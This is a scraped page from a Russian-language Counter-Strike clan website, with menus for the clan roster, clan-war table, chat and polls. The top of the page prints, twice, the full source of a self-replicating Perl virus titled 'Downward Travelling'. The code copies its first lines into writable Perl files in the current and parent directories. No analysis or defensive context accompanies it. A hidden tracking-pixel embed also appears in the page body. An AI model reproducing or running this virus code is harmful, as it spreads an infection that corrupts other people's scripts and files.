#!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Mixway gaming community #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}}
Главная
Форум
Таблица cw
Состав клана
Видео
Тренеровки
В клан






Меню





 Главная страница Таблица CW Устав клана Состав клана Тренеровки Видео для клана Доска позора Личные стр Гостевая Связь Файлы Форум









Чат
200










Опрос
Смотрите ли вы наши онл фильм
javascript:; javascript:;
Всего ответов: 14










Статистика
Online :
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Users :










Друзья

CS.ORC.Lv Best Latvian Servers




Видео для клана - FD| кЛаН - Описание сайта




Get your own Chat Box! Go Large!







REKUR KODS



<img style="visibility:hidden;width:0px;height:0px;" border="0" width="0" height="0" src="http://c.gigcount.com/wildfire/IMP/CXNID=2000002.11NXC/bT*xJmx*PTEyOTQyMjMyMjc*MjUmcHQ9MTI5NDIyMzI*NTgzNCZwPTUzMTUxJmQ9Jmc9MQ==.gif"><embed src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" width="400" height="300" name="chat" flashvars="id=127578640" align="middle" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml"><br><small><a target="_BLANK" href="http://xat.com/web_gear/?cb">Get your own Chat Box!</a> <a target="_BLANK" href="http://xat.com/web_gear/chat/go_large.php?id=127578640">Go Large!</a></small><br> 




Кабинет
Среда, 05.11.2025,
Гость

Сообщения:

Группа: Гости










Топ пользователей

JannieBion

Новостей: 1113
Сообщений: 0
Комментарий: 0
Репутация: 0

Muslimer

Новостей: 718
Сообщений: 6
Комментарий: 0
Репутация: 0

Pitertata

Новостей: 203
Сообщений: 0
Комментарий: 0
Репутация: 0










Случайное видео









Block title
erik
erik
erik










Наш Баннер
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.:

CS clan













Бесплатный конструктор сайтов — uCoz